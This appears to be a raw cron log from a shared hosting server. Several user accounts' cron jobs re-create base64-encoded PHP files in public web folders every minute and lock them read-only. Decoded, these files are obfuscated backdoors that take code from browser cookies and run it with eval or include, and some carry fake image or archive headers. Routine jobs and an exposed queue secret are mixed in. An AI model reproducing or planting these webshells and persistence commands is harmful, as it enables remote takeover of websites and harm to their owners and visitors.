Mar  1 21:42:01 medusa CROND[12106]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:42:01 medusa CROND[12108]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:42:01 medusa CROND[12102]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:42:01 medusa CROND[12113]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:42:01 medusa CROND[12117]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:43:02 medusa CROND[31511]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:43:02 medusa CROND[31512]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 21:43:02 medusa CROND[31513]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:43:02 medusa CROND[31514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:43:02 medusa CROND[31515]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:43:02 medusa CROND[31516]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:43:02 medusa CROND[31517]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 21:43:02 medusa CROND[31518]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:43:02 medusa CROND[31522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:43:02 medusa CROND[31526]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:43:02 medusa CROND[31529]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:43:02 medusa CROND[31531]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:43:02 medusa CROND[31542]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:43:02 medusa CROND[31543]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:44:01 medusa CROND[17868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:44:01 medusa CROND[18100]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:44:01 medusa CROND[18101]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:44:01 medusa CROND[18103]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:44:01 medusa CROND[18105]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:44:01 medusa CROND[18107]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:44:01 medusa CROND[18108]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:44:01 medusa CROND[18119]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:44:01 medusa CROND[18121]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:44:01 medusa CROND[18118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:44:01 medusa CROND[18122]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:44:01 medusa CROND[18127]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
